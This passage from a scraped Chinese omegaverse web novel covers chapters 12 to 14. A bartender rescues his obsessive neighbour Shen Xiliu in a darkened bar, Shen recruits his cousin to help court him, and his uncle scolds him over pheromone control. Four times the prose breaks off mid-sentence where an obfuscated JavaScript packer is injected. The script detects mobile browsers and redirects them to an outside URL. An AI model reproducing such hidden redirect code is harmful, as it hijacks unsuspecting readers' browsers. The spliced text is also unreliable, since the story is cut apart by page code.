祁厌可不想当挡箭牌,试图离开,却被一大堆人挤得逃不出去,听着一左一右的人隔着他吵架,还要抽空回答其他人的问题。 嗯,真热闹,也是真吵。 游弋尝了一口,喝不下去,塞给身边跃跃欲试的主唱。他想起自己被绑架走的那个晚上,沈溪流也出现了,因为和叶澄澄聊过,他注意到一件事情。 “哎,祁哥,那天晚上听令来绑架我的是我表哥,听澄澄说,好像是你给我表哥调酒喝,他有没有被难喝哭了?有没有因为酒难喝而找你麻烦?” 游弋脸上带着一抹兴致勃勃的笑,生怕祁厌想不起来,还特意形容沈溪流的外表:“就那个整天穿着一身黑色西装,左眼下有三颗痣,长得好看,但非常嚣张冷漠的恶劣份子,看起来特别让人讨厌的家伙!” 他的表情,看起来很期待沈溪流吃瘪一样。 没想到游弋居然会问这件事情,而且祁厌觉得他认识的沈溪流和游弋形容的不太一样,如果不是他说出了沈溪流的特征,祁厌都要以为游弋弄错人了。 出乎意料,早上和沈溪流见面时,听他谈论起表弟的模样非常亲昵,一副乐意和他谈论表弟的事情,导致祁厌误以为这对表兄弟的关系很好。 结果现在来看好像并不是这样。 “没有,那位先生是个很礼貌的人,即使我调的莫吉托很难喝,他也没有说什么,相当温和好脾气呢。”祁厌只说出自己对沈溪流的认识。 游弋的表情一下子变了,有些不可思议地睁大眼睛:“咦?真的假的?那家伙还有这么会装的时候吗?真是不敢相信,那家伙性子可恶劣了!” 难道是转性了?学会像他这样善良热情又大方开朗地与人相处了吗? 你表哥在你眼里究竟是什么样子的存在啊? 祁厌失笑道:“没有这么夸张吧,他挺客气的,把酒都喝完了。” “我想应该是出错了。”游弋沉思两秒,果断道,“脾气那么好的话,你见到的肯定不是我表哥。” “毕竟我表哥和礼貌、温和、客气、好脾气这些词完全不搭边,大概是你弄错人了。” 由于游弋的语气太过于果决了,反而导致祁厌产生一丝好奇。毕竟在他看来,沈溪流是个性子挺好的人,可游弋嘴里的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318633|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与他认识的那人却千差万别。 ……不过想想也正常。 大多数人在外人面前都会给自己增加一层保护伪装,让他们看起来人模人样,不至于出格,显得像是个格格不入的异类,这层伪装往往只在亲近、信任的人面前才会卸下。 而作为沈溪流的表弟,游弋从小和他一起长大,自然也算是亲近、信任的人,从小在一起打闹长大的兄弟姐妹容易互看不顺眼,就像祁厌的表弟表妹一样。 所以祁厌不会多想,更不会怀疑沈溪流是故意伪装自己来接近他,毕竟他没有这个价值,不值得沈溪流费心思设计相遇相识。更不会像个胆小鬼一样,表面风度翩翩,实则内心局促地聊着僵硬的话题。 甚至魔改自己与表弟的相处关系,只为了用两人共同拥有的“表弟”作为谈资,与他多聊这么一两句。 开学在即,夜晚时间一到,酒吧准时开业,炫目的灯光交错,乐团的声乐轰鸣响彻冲击着每一寸空间,狂欢的呼声响起,舞池里身姿摇曳,卡座里坐满客人,气氛高涨。 今夜众人都相当忙碌,酒吧服务员穿梭在人群间,徐浪浪好似花蝴蝶般坐在卡座里,几乎被漂亮的omega淹没,就连祁厌都没有一丝空闲时间,吧台被人围满,四个调酒师都在应对客人,忙碌得无法停歇,狂欢之夜总是热闹非凡。 一直到零点,有人接替,祁厌才找到机会出去喘口气,尽管酒吧里的换气设备会添加适量信息素清除剂。 但当人群实在是太多时,难免会有少量信息素无法避免溢出,和一些香水混杂在一起,加上酒吧里激情的氛围,极具感染力,刺激着大脑分泌多巴胺,导致持续性的亢奋,连祁厌也难免受到影响。 不过他并没有在外面多待,去洗手间洗了一把脸。十分钟一到,他估计今晚酒吧最激情热烈的游戏马上开始。 “到底是哪个神经病出的馊主意,偏偏要玩这个倒霉游戏啊。” 祁厌无奈地揉了揉肩膀,准备回去帮忙,结果刚走进去,就一眼看到那道极其醒目且熟悉的身影,他与狂欢的人群保持着一定的距离,即使在黑暗中也相当显眼。 沈溪流好像在找人,又不想和人群挤在一起,所以没有往里走。应该是在找游弋吧? 祁厌心想,脚步停了一会儿,而原本正在找人的沈溪流却仿佛在嘈杂的声音中,精准地听见他的脚步声一样,蓦然回首,朝他看了过去。 也就在看见他的那一秒,镜片下的眼眸瞬间染上喜意,沈溪流的嘴角也勾了起来:“祁厌,好巧。” “……” 无法藏住的喜意,他们对视上了,祁厌没听见他的声音,但读出沈溪流想说的话。 哪有这么多巧合,这里可是他打工的地方,分明就是故意的。 大脑一闪而过这句话。 与此同时,整个酒吧的音乐突然停下,沈溪流依然看着祁厌,并没有被意外转移视线。 所有人都听见了酒吧里回荡的声音,是徐浪浪带着激情和恶作剧的爽朗声音:“各位朋友期待已久的特别节目‘狂欢游戏’马上就要开始了,序幕即将拉起,请各位做好准备,迎接这一次无比难忘且激情的……” 祁厌听着徐浪浪充满恶作剧的声音,看着站在兴奋的狂欢人群旁边的沈溪流,表情微变。 “糟糕!沈溪流,别站在那里,赶紧离开这里!” 不用问,他都知道沈溪流肯定不晓得酒吧的“狂欢游戏”是什么活动! 12. 第 12 章 “祁厌,你刚刚说了什么?” 沈溪流没听清楚他说什么,被徐浪浪嗨到极致的声音给盖了过去,下意识地朝着祁厌的方向走了两步。 “Carnivalgamebegins!” “啪——!!!” 随着徐浪浪愉快的声音传遍酒吧的每一个角落处,酒吧的所有灯光刹那间全部被关闭,所有人都陷入黑暗之中,欢呼声夹杂着尖叫响起,躁动的声音掩盖住一切,看不见也听不见。 沈溪流就站在人群边缘,他来得不久,不知道这是什么活动,蓦然间陷入躁动混乱的黑暗中,心情不是很好。 刚反应过来,沈溪流的后背就不知道被谁狠狠撞了一下,趔趄着步伐往前走了好几步,还没站稳,身边的人越来越多。欢呼声震耳欲聋,沈溪流在混乱中不断被人推挤,就连眼镜也不小心被撞飞了。 黑暗中,没有人看见他的表情一下子变得阴冷,眼神微微眯着,流露出一丝丝阴森残酷的危险,不知道从哪里洒过来的酒液飞到头上,欢呼的尖叫声几乎穿破耳膜。 “……” 沈溪流的忍耐值在瞬间狂飙到极限,浑身散发着阴森森的黑气,内心升起暴戾烦躁的情绪。这一刻,他想拆了这家酒吧,还想把酒吧里叫个不停的废物、撞到他的白痴、把酒洒到他身上的蠢货全部都给…… 就在这时,肩膀猛地被人一把抓住,沈溪流瞳孔倏然收缩,逐渐适应黑暗的双眸能够看清楚轮廓,来人用力把他从拥挤的人群拽了出去。 “沈先生,你也太倒霉了吧。”祁厌感慨的声音在嘈杂中响起,凑得非常近。 他伸手护住沈溪流的后脑勺,一只胡乱狂甩的手臂打了过来,先撞到祁厌护着沈溪流后脑勺的手掌,没卸掉的力度,连带着沈溪流的头都往前一撞,鼻子一酸,差点就让生理性泪水掉了下来,连话都说不出。 “沈先生你没事吧?” 场内实在是太吵,祁厌不好控制距离,拥挤的人群把沈溪流给撞进他的怀里,连脸都凑到肩膀和脖颈间,冰冷光滑的脸颊蹭到脖子,急促的呼吸喷洒在皮肤上,让祁厌感到一股毛骨悚然感。 但现在把人推开太过于不礼貌,祁厌做不出来,幸好只是不小心蹭了一下,沈溪流很快捂着酸疼的鼻子,稍稍离了一下,闷声道歉:“非常抱歉,我没事。” “行,那就好,我带你离开。”祁厌护着沈溪流从人群离开,快要靠近大门处,倾泻流入一道光线,照亮黑暗的道路。 祁厌放开了沈溪流的肩膀,衬衫下摆好像被对方给拽住,在吵闹声中,他尽量大声地说话,希望对方能够听见:“这场狂欢游戏会持续五分钟,沈先生我先带你出……去!” 话没说完,狂欢的人群散得更开,没人注意到要离开场内的二人,再次将背对的沈溪流给撞到往前扑倒,祁厌条件反射地伸手抱住他,连带着自己也踉跄着往后倒退几步,后背重重撞到门边的墙壁。 “嘶,这群家伙果然闹得——”太夸张了! 祁厌已经无语今晚的遭遇了,不过比他更惨的明显是来找表弟的沈溪流,他下意识往靠在怀里的倒霉人士看去,一眼愣住。 酒吧里太暗了,可是已经接近门边,借助泄漏进来的光线,他隐隐约约看见沈溪流的表情不太正常。 ——黑框眼镜不知道被打飞到哪里去了,没有眼镜的隐藏,沈溪流正直勾勾地盯着他看,眼神里流露出祁厌看不懂的疯狂痴迷与浓稠爱恋,左眼下的三颗泪痣更衬托出这张脸阴郁而病态。 祁厌盯得有些怔愣,对方拽着他下摆的手指始终未曾松开。 他们靠得太近了,酒吧里的声音乱成一团,有人趁着黑灯瞎火打人,有人趁着黑灯瞎火戏弄人,也有人趁机吻成一团,缠绵悱恻的热吻发出湿黏的声音,连空气都弥漫着丝丝信息素的味道,而且离他们很近…… “唔!” 沈溪流忽然低头,伸手捂住自己的后颈,信息素抑制颈环微微亮起红色警报灯,尖锐的刺痛从后颈传开,他的脸色一下子变得煞白。 “先去休息室。”祁厌始终观察着沈溪流的状态,见识不妙,立即带沈溪流离开这里,往员工休息室走去,远离了吵闹的地方。 尽管声音无法全部隔绝,但起码浑浊的空气变得清新起来,沈溪流的脸色也恢复了一些,没刚才那么难看。 “又给你添麻烦了,真是对不起。” 沈溪流接过祁厌给他打的热水,表情带着歉意,手指却无意识地、有节奏地轻点着水杯,动作不易察觉,就如同他那不能被发现的雀跃一样。 信息素抑制颈环的红光已经消失,在检测到沈溪流体内信息素失衡,便将少量信息素抑制剂通过腺体注射入体内,使沈溪流的状态恢复。 祁厌顿了顿,摇头道:“小事而已,沈先生的情况怎么样?有哪里不舒服吗?” 巧合好多,意外也太多了。 祁厌无意识地想着,有些走神。 沈溪流盯着他看了半晌,缓缓垂下眼帘:“没有不舒服的地方,很抱歉。” “沈先生没有必要道这么多次歉,你是来找游弋的吧?”祁厌控制自己不要想太多,继续翻找东西,“今晚比较热闹,狂欢游戏结束以后,大家的情绪都比较高涨。起码得二、三十分钟左右才能消停,他们乐团很快就会离开,沈先生身体不舒服的话,可以在这里休息一下,我帮你叫游弋过来。” “……那就劳烦你了。”沈溪流轻声细语地说,“游弋离开家的时候,什么东西都没有带,舅舅终究有些放心不下,所以让我来找他。” “白天工作太忙,一直没有抽出时间,本来想着晚上过来酒吧的话,可以顺便看看游弋是怎么追求梦想,结果没想到今晚这么热闹,还有这么有趣的游戏……” “有趣?”祁厌想了想刚才混乱的场面,嘴角一抽,“沈先生倒也不用睁眼说瞎话,都怪浪浪那家伙出的馊主意,玩得太大了,即使有夜视监控,但这样玩多少有点疯狂。” 五分钟的自由黑暗时间,想做什么就做什么,真是一点都不怕出意外,毕竟人心难测,太危险了,可惜偏偏大家都很喜欢这种放飞自我的时间。 每次进行这样的游戏,祁厌就是有多远藏多远。第一次没经验,差点被一个爬上吧台的人给强吻,幸好他反应敏捷,躲得飞快,才保护了自己清白的初吻。 他蹲着翻找了半天,只在自己柜子里找到一条使用过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舅舅甚至让人泼了一盆水出去,直言扫地出门的儿子,就是这盆泼出去的水,没有回旋的余地,气得背着贝斯的游弋在外面直跳脚。 “行,没问题。”祁厌给他比了个OK的手势,听外面的声音变了,估摸着差不多了,才起身道,“我现在就过去,隔壁是洗手间,沈先生可以去隔壁洗一下,毛巾到时候直接丢了也没事。” “劳烦了。” 沈溪流对他歉意一笑,看着祁厌迈着长腿离开,休息室的门开了又关,咔嚓一声,抓着毛巾的手指微微收紧,脸上的笑容骤然消散。 挺直的腰背终于弯了下来,沈溪流垂着头,不受控制地颤抖着抓紧毛巾捂住口鼻,近乎病态地深深吸了口气,嗅到毛巾上清新自然的花香味时,表情出现一瞬间的扭曲,那双眼瞳漆黑幽深,流露出阴鸷的暗光。 回想着刚才祁厌的一举一动,他想,糟糕了。 ——被祁厌发现了。 门外,正背靠着大门的青年身形修长挺拔,他敲了敲脑袋,额前的碎发散在好看的眉眼间,温柔缱绻的桃花眼显得深情款款,瞳孔深处却带着一丝不可思议。 回想着刚才的试探,他拧紧眉头:“应该不……可能吧?” 13. 第 13 章 人生三大错觉之一:他喜欢我。 不就是巧合多了点吗?他所在的小区环境不错,会与沈溪流成为邻居是个巧合;第一次见面,对方就呼吸性碱中毒,在这基础上帮助对方很正常;为了寻找流浪的表弟,来到酒吧见面,意外遇到他,更是正常不过。 作为PHY科学研究所的负责人之一,和导师覃宜民认识也在情理之中;投资这么爽快,估计也有他恰好帮助过对方的原因,所以哪来的这种错觉啊? 可是刚才他看我的眼神很不对劲…… 回忆着从相遇的那一刻起的点点滴滴,好像很多事情上都有着对方的影子,不光是生活上,还有学校方面,甚至就连自己打工的地方都有,以及未来想要进的PHY科学研究所都会有着沈溪流的影子,仔细想想,简直就是无孔不入…… “我大概是得了妄想症。”祁厌以拳轻捶手心,给自己现在的情况下定义。 他怕是眼见失眠症开始好转,于是乎就转为了妄想性障碍,甚至把好心的倒霉邻居给妄想成暗恋自己的人。 真是好自恋的人。 不过是作为邻居,帮了溪流几次,怎么就会产生这种荒谬的想法,他们才认识几天啊? 一个月有吗? 没有。 沈溪流没有喜欢一个认识不久的人的理由。 祁厌敢说他要是把现在的想法发到网上求助:我怀疑我的邻居omega喜欢我,原因如下六点…… 然后一定会被很多人嘲讽是个普信A。 祁厌边走路,边深以为然地点头,人不能,至少不应该变成一个普信A。 哈哈,真是自己吓自己。 游戏结束,酒吧里人还是很多,祁厌找到躲在后台的乐团,提醒游弋,沈溪流正在休息室等他。 “啊?他怎么可能会来这里?祁哥,你是不是弄错人了?” 游弋紧皱眉头,一脸你在和我开玩笑的表情,以沈溪流的性格,怎么可能会独自一人来酒吧找他? “实话实说,我表哥那人性格可高傲、冷漠了,压根不可能主动来找我。毫不夸张地说,以他那独裁的性格来说,要是想见我,只会像上次那样,直接派保镖把我绑架到他的面前,这才是他的真实作风。”游弋一脸嫌弃地说着,上次就是这样把他绑架回家的。 真有这么夸张吗? 祁厌很想这样问出口,沈溪流的性格哪里和高傲、冷漠、独裁搭边了?难道说只是在自己面前表现得这么温和…… 糟糕,又变成妄想症.普信A了。 “你自己过去见见?我也只是帮忙转达一下。”祁厌收敛自己普信的想法,笑说,“对了,游弋,先前一直没有和你说,我和沈溪流先生见过几面。” 见游弋不是很想过去见人的样子,祁厌索性说出沈溪流的名字,没说自己和他是邻居,但提了一句和导师去应酬的事情。 “……居然真是他?”名字一出,游弋的表情瞬间变得有些微妙,“会不会是同名同姓?” 他好像还是不想承认沈溪流是他的表哥,结果这话一出,就注意到祁厌看傻子似的眼神,名字和外貌特征都对上了,怎么还是不敢认? 游弋哈哈笑了两声,遮掩尴尬:“哈哈,祁哥,我现在就过去看看是不是我表哥,麻烦你转告了。” “嗯,对了,还有这个,麻烦你还给他。”祁厌把自己刚刚找到的眼镜交给游弋,是沈溪流不小心掉落的眼镜。 这副眼镜比他的主人运气好,不小心被打飞到墙角的盆栽上面,所以侥幸没有被拥挤狂欢的人群乱脚踩碎。 祁厌进来的时候,恰好注意到盆栽上有什么东西反光,走过去一看,发现是沈溪流的眼镜。 “诶?”游弋眨了眨眼,有些迟疑地伸出手,“可是我哥不戴眼镜,这是他的吗?” 祁厌递眼镜的动作一顿,沈溪流不戴眼镜吗? “是沈先生的,他来的不是时候,狂欢游戏恰好开始,所以不小心被人弄掉了。”祁厌说。 “哈啊?!”游弋的表情更加夸张了,一脸惊恐地道,“不是吧?沈溪流怎么会是在狂欢游戏开始的时候进来?那他没有倒霉到被人打?被人亲?被人调戏?被人围殴吧?要是真这么倒霉,那我们的酒吧肯定马上就要倒闭了!” 祁厌:“……” 所以说,沈溪流在你眼里究竟是个什么形象啊? “没有,我当时恰好看见沈先生,就把他带出去了。” “噢,那就好,祁哥,你拯救了这家店。”一脸惊恐的游弋顿时大松口气,放心地拍拍胸口,惆怅地开口,“你是不知道,我表哥脾气可烂了,得罪他的人,不死也得半死不活,极其小气、没有肚量,睚眦必报,特别歹毒。” 祁厌:“……别说了,你先过去吧。” 哪有人这样说自己的哥哥,游弋的戏精程度不亚于其他人。 祁厌直接把眼镜塞他手里,自己转身回到吧台。再听下去,普信A又得上线,开始浮想联翩,分析各种感到奇怪的细节了。 “啧,我说的可都是实话啊。”游弋吐槽一句,他可是在暗示祁厌,沈溪流的性子不好。 如果可以,最好别和他合作,这人性子冷漠又挑剔,绝对是游弋见过最差的合作伙伴,而且沈溪流还特别小气,要是真合作了,那就绝对不能得罪,否则就得遭罪。 算了,对方不识好人心,压根没领会他的暗示,相信未来一定能理解。 带着这样的想法,游弋拿着眼镜去休息室,也不敲门,大大咧咧地推门就进:“听说你想见我,干嘛啊?不会是来替爸爸劝我回家吧?” 休息室内,沈溪流正翘腿坐在椅子上,后背挺直,手里握着一条白色的毛巾,修身的浅蓝色风衣垂坠感很好,显得他身形高挑清瘦。只是那张有些苍白的面容非常冷漠,左眼下三颗浅浅的泪痣,自带一股厌世傲慢的孤高冷漠。 随意抬眼过来,这张傲慢的面容就好像在居高临下地藐视着你,仿佛在说:你在说什么蠢话呢? 事实上,他也这样说了:“你在说什么蠢话?” 我愚蠢的弟弟啊。 大脑自动为沈溪流配音,游弋一脸不爽地把眼镜丢给他:“那你来做什么?以你的性格,根本不可能没事来见我吧?而且还戴眼镜?沈溪流,你什么时候变成近视眼了?难道说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318635|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是用来装知性吗?” 沈溪流接过眼镜,垂眸看了一眼,就知道是祁厌给他捡回来的,顿时心情不错地开口:“与你无关。” “哈啊?”你来找我,却说和我无关?你有病吧? 游弋话还没说出来,就看见沈溪流从兜里取出了一张黑卡,夹在食指和中指之间,泛着五彩斑斓的迷人光芒。 眼神顿时一变,他猛地滑跪到沈溪流面前,一把抱住他的大腿,笑容无比灿烂,近乎虔诚地开口:“噢,我亲爱的、温柔的、帅气的欧尼酱,您这是来救您那生活在水深火热之中的可怜无助又弱小的弟弟吗?” 前一秒还在互看不顺眼,后一秒就果断滑跪。 游弋小心翼翼地探出手指,想要抽出沈溪流手指间的黑卡,并且深情款款地开口:“哥哥,你是不知道,自打我离开家门以后,就逐渐意识到,这个家里对我最好的人一直是你! 只有你把我放在心上,口是心非地教育着我成长,过去的拳打脚踢都是在鞭笞我前进,是爱的证据!如果没有你过去的帮助,走出这个家以后,我大抵是会饿死在外面,根本没有机会走上追求梦想的道路……” “别尽说这些恶心人的话。”沈溪流面无表情地打断他,“要钱可以,但接下来我要你做什么事情都必须听命。” “您这都是什么话呀。”游弋一脸嗔怪地看他,手指快速抽出沈溪流手里的卡,塞进自己兜里,“您可是我的欧尼酱,我的衣食父母,想要吩咐我做什么,都是理所应当的事情。” “前提是不能让我背着良心噢。”游弋给了他一个Wink。 沈溪流:“……看来你这阵子在外面学了不少恶心人的招数。” “嗐,都是学我们主唱,有用就好。”黑卡拿到手,游弋雀跃地跳了起来,这下子总算不用过苦日子了,“哥,爸爸不知道你给我黑卡吧?” 即使嘴上说着绝对不会为金钱低头,但游弋脑子还是很正常的,面包和理想都能拿下的时候,自然不会两者都放弃。 “暂时不知道,你别像过去挥金如土,正常使用的话,他也不会发现。”沈溪流神色淡漠地说道。 游弋眨巴着眼睛:“那能买一辆跑车用来上班吗?不用太贵,就我以前买过的最低档次就行,再低下去,可能不太安全。” 他们住的地方,离酒吧太远了,每天出门都特别麻烦,又是地铁、又是公交车,还得打车,好累人的。 “呵呵,你提车当天就可以顺便下地狱了。” 沈溪流讥讽一笑,哪来的愚蠢天真富二代? 哦,他们沈家养出来的。 “……小气。” 沈溪流连个眼神都懒得给他,用手帕包着眼镜收好,珍惜地握着毛巾,站起身:“再多说一句废话,卡还我。” 游弋猛地捂住自己装卡的兜,眼神却落在沈溪流手上的毛巾:“给出去的卡,哪能收回去,哥,你这样子太没格调了!先不说这个,你是想让我做什么?” 他果断转移话题。 “很简单的一件事情。”沈溪流垂眸看他,嘴角带着很浅的笑容,“我有一个喜欢的人,你得帮助我追求他。” 14. 第 14 章 游弋心想,我大抵是走火入魔了,所以才会听到这么恐怖的话。 哈哈,就沈溪流那家伙,怎么可能会有喜欢的人! 说好的,单身一辈子呢? 荒谬!荒唐! “游弋,走了,你还在看什么?”在他神游之时,主唱拍了下游弋的肩膀,顺着他的目光看去,看到正在帮忙打扫的人,“你盯着祁厌做什么?” 游弋恍惚说:“我在看可能降服妖魔鬼怪的神仙……” 主唱:“???” 他满脸问号地拍了拍游弋的脑袋,附耳倾听:“好像没有进水吧?” “我大概是在梦游吧,哈哈,回家了,回家了。”他恍若无人地背起贝斯,恍恍惚惚地走出去。 肯定是在做梦,否则怎么会梦到沈溪流和他说有喜欢的人,但是兜里的黑卡又极具存在感,让他无法控制表情,一阵龇牙咧嘴。 这种事情……这种事情……就算他是假的!沈溪流有喜欢的人这种事情都不可能是真的! …… 祁厌母胎单身二十四年,从中学开始,便经常被人表白,毕竟拥有着一副好皮囊,加上性格不错,追求者自然不少,但埋头于学习的他从未有过谈恋爱的想法。 不仅是因为自身并未对他人产生恋爱的心情,也是因为梦境导致自己不想与他人近距离接触。 所以每次有人表白,或者察觉到他人的心意时,他都会委婉地向对方表达自己没有恋爱想法。 但对于沈溪流,祁厌其实看不懂对方。他们才认识不久,真正的交际说多也多,说少也少,但绝对没有深入了解对方,顶多算是熟悉的陌生人,偶尔出门相遇,会互相打个招呼罢了。 毕竟没有喜欢的理由不是吗? 奇怪的怀疑与错觉出现一次就够了,祁厌是这样想的,但是—— “诶?老师,你不是开玩笑吧?” 祁厌感觉自己好像幻听了,反复地翻阅着手里的文件。 覃宜民道:“倒也不用感到这么不可思议,我手里这个科研项目能和PHY科学研究所合作是件不错的事情,你要是参与进来,对你的未来有不少好处。而且沈先生很看好你哦,如果不出意外的话,你毕业以后要是真想进入研究所,应该会非常顺利。” 倒不如说,其实已经有内定的倾向了。无论是项目投资,还是现在的邀请,都已经将主动权交给了祁厌。 祁厌的表情一瞬间变得有些微妙,动作顿住:“沈先生?” 覃宜民笑了起来,非常欣赏地盯着他的脸:“是啊,仔细说起来这次合作能这么顺利还多亏了你,沈先生虽然大方,但很少能有人这么轻松从他手里拿到项目支持,估计多少是看在你的‘面子’上。” 在这次合作之前,覃宜民也遇到过沈溪流,作为PHY的负责人,非必要事件,沈溪流其实很少出面,所以也就约莫见过两三次,早早就听身边好友提过,沈溪流不是个好对付的人。 “那我这张脸还真是占了不少便宜啊。”听出覃宜民的调侃,祁厌摸着脸,无奈地笑了起来。 “哈哈哈,一张漂亮的脸的确能给人带来很好的第一印象,但更重要的是内在决定关系深度。与人相处,如果因为性格而导致互相变得不自在的话,关系是很难维持下去,终究会破裂。”覃宜民笑眯眯地说道。 “老师,其实……我和沈先生并没有这么熟的。”祁厌总觉得覃宜民话里有话,“不过是作为邻居帮助过沈先生几次,能因此得到对方的支持,我的运气真的挺不错。” 覃宜民道:“是吗?听起来沈先生真是个大好人,能够给自己不熟的邻居这么多支持,只因对方帮助过自己。” “老师,您这是在阴阳怪气我吗?”祁厌问,覃宜民的语气不太对劲。 覃宜民:“瞎说什么,我只是感慨一下沈先生是个有恩必报的好人。” 木头就是木头,不像他这样的老江湖拿捏得住,一眼看穿沈溪流对祁厌有好感,而且还不小。 “对了,还有沈所长已经回国了,你以前不是一直想认识他吗?这也是一次好机会,可以多向他请教一下,毕竟沈云殊在这方面的研究非常有见解。” 覃宜民丝毫不介意自己的弟子去向他人请教,能够和沈云殊交流,对祁厌来说是一件好事。尤其是他知道祁厌最近的研究又有了不少进展,再继续保持这个进度,应该很快就可以进入下一个阶段了。 “老师,你这是想要把我逐出师门吗?”祁厌沉默一瞬,笑着调侃回去。 覃宜民伸手指了指他,不满道:“想得美,除非你闯祸,否则别想逃出我门下,还等着你明年给我长脸呢。” “明年啊?这时间还真是紧迫。”祁厌算了算时间,有点紧张地感慨,“幸好有沈先生支持,要不然就算到了年末估计都无法进入下一个阶段。” “不错,到时候就看你了。”覃宜民把一大堆资料扔给他,“既然要参与,就把这些都看看,到时候用得上,实验进度也不能放慢,接下来有的你忙了。” 覃宜民把事情都说了一遍,打开保温杯喝了口茶,想了想,开口道:“还有,等进入PHY科学研究所,你就把你母亲转到沈氏旗下的医院吧。” “作为PHY科学研究所的研究人员,医疗费几乎用不了多少,沈氏旗下的医院拥有着专业的医疗团队,技术设备也是世界领先级别。如果明年你的研究成功的话,她也能最先获利,得到最好的治疗。” 祁厌翻看资料的动作慢了一拍:“……我会好好考虑的。” “嗯,过几天,大家都得去医院做体检,到时候你可以观察一下,他家的医院在国内外都是顶尖的。” 明明只是刚合作,就有一个所有员工免费体检的福利,祁厌觉得沈氏确实挺不错。如果未来能够顺利入职就好,偏偏还有个易家站在前面作为拦路虎,根本绕不过去。 …… 【嘀嘀——】 黑色的信息素抑制颈环被用力摘了下来,脖子被磨蹭泛红,颈环一直闪烁着微弱的红色警告灯,嘀嘀作响个不停。 “这玩意儿真吵。”身穿白大褂的男Alpha随手将颈环丢到一旁,不是医生穿的白大褂,而是实验人员穿的实验服,但乍看之下,和医生没什么区别。 他看起来约莫三四十岁的样子,俊美面容没有皱纹,保养良好,气势冷冽强势。因为不在实验室里,白色的实验服敞开,极具优势的身材走路带风,不像是在穿毫无美感的实验服,更像是在穿一件剪裁得体的潇洒风衣,在t台上走秀。 略长的头发随便绑在脑后,有点乱糟糟,镜片下的眼眸锐利危险,沈云殊正在打量一脸苍白冷漠的沈溪流,皱眉道:“怎么变得这么严重?没按照我说的剂量使用吗?” “按照你说的剂量,控制不住。”沈溪流垂着眼睫毛,淡淡说道。 沈云殊翻看着他近来的数据波动,起起伏伏的数值看得人眼皮子直跳,记录里的信息素最高的峰值让沈云殊都沉默了。 原先是让沈溪流一周注射一次就行,结果这段时间居然缩减到一天、两天一次,才能勉强压下不断肆虐的Omega信息素,再这样发展下去很不妙。 “啧。”沈云殊拧着眉头,有些烦躁地从桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318636|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上拿了根烟,想抽又不好在这里抽,只能咬在唇间过过瘾。 他想了想,给沈溪流丢了好几盒药过去,又给他倒了杯水,动作利落地掰开玻璃瓶,吸取注射液,看着沈溪流皱着眉头抠药,讥讽一笑:“怕药苦,还敢让自己的信息素失控,胆子不小啊。” “我也不想。”沈溪流面无表情地吃药喝水,又把手伸出去让沈云殊打针。 “直接打腺体。”沈云殊冷声说。 沈溪流眉头皱得更深,但见沈云殊的表情不好,终究是闭眼伸手接过他手里的针:“我自己来。” 沈云殊:“呵,要我提醒你大清早亡了吗。” 沈溪流懒得回他。 沈云殊打量精神状态、身体状态双低的叛逆外甥:“我出国之前,一切不是控制得很好吗?难道这回是谁惹你了?” “……没有谁。”沈溪流觉得还好,“这段时间过得挺开心。” “开心?你开心到把信息素飙到腺体差点病变是吧?”沈云殊怒极反笑。 沈溪流顺着他指尖指的两个峰值看了一眼,又垂落眼睫不说话。 初次被祁厌敲门的那天晚上,因为太着急了,所以控制不住心情,不仅急到呼吸性碱中毒,就连信息素第一次突破最高值。 第二次则是去酒吧,看到祁厌和别人接触,所以没有控制好心情,导致本就不稳定的信息素狂涨,引起身体不适。 不过现在都已经恢复了许多。 “就两次,之后……大概不会再发生了。”面对长辈的质问,沈溪流表情很淡,仿佛根本没把自己的身体健康放进眼里。 他已经想好追求祁厌了,以祁厌现在的性格,只要他追求成功,以后就不会遇到这么多让人受不了的事情。 “大概?”沈云殊冷笑一声:“信你的我才是白痴,你要是控制得住,就不用戴信息素抑制颈环了。” “当年我就说过,必须尽早干预,在你成年当天,直接打晕了带进医院里,用适配的Alpha信息素进行治疗。偏偏你宁死不从,连大哥都偏帮你,搞到现在,都快恶化成信息素暴动症了。” 沈溪流听到这话,不以为然地面露讽刺:“您不觉得这样很恶心吗?” 使用不认识的Alpha信息素打入腺体里,这和标记他有什么区别?光是想想,沈溪流就想呕吐出来。 “不觉得,命才是最重要的。”沈云殊冷冷说道。 